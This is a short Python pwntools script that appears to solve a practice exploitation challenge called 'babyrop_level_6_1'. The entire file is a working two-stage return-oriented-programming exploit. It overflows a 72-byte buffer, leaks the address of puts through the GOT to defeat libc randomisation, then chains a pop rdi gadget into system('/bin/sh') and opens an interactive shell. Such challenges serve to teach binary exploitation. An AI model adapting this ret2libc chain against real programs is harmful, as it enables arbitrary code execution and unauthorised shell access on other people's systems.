#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./babyrop_level_6_1", checksec=False)
libc = target.libc
r = process()

# funcs
s = lambda a: r.sendline(a)

# gadgets
pop_rdi = 0x4014e4

# buf
buf = b"A"*72
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.challenge)
s(buf)

# leak
r.recvuntil(b"Leaving!\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: %#x", puts)
libc.address = puts - libc.sym.puts
log.info("libc: %#x", libc.address)
sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system

# pop
buf = b"A"*72
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(system)
s(buf)

r.interactive()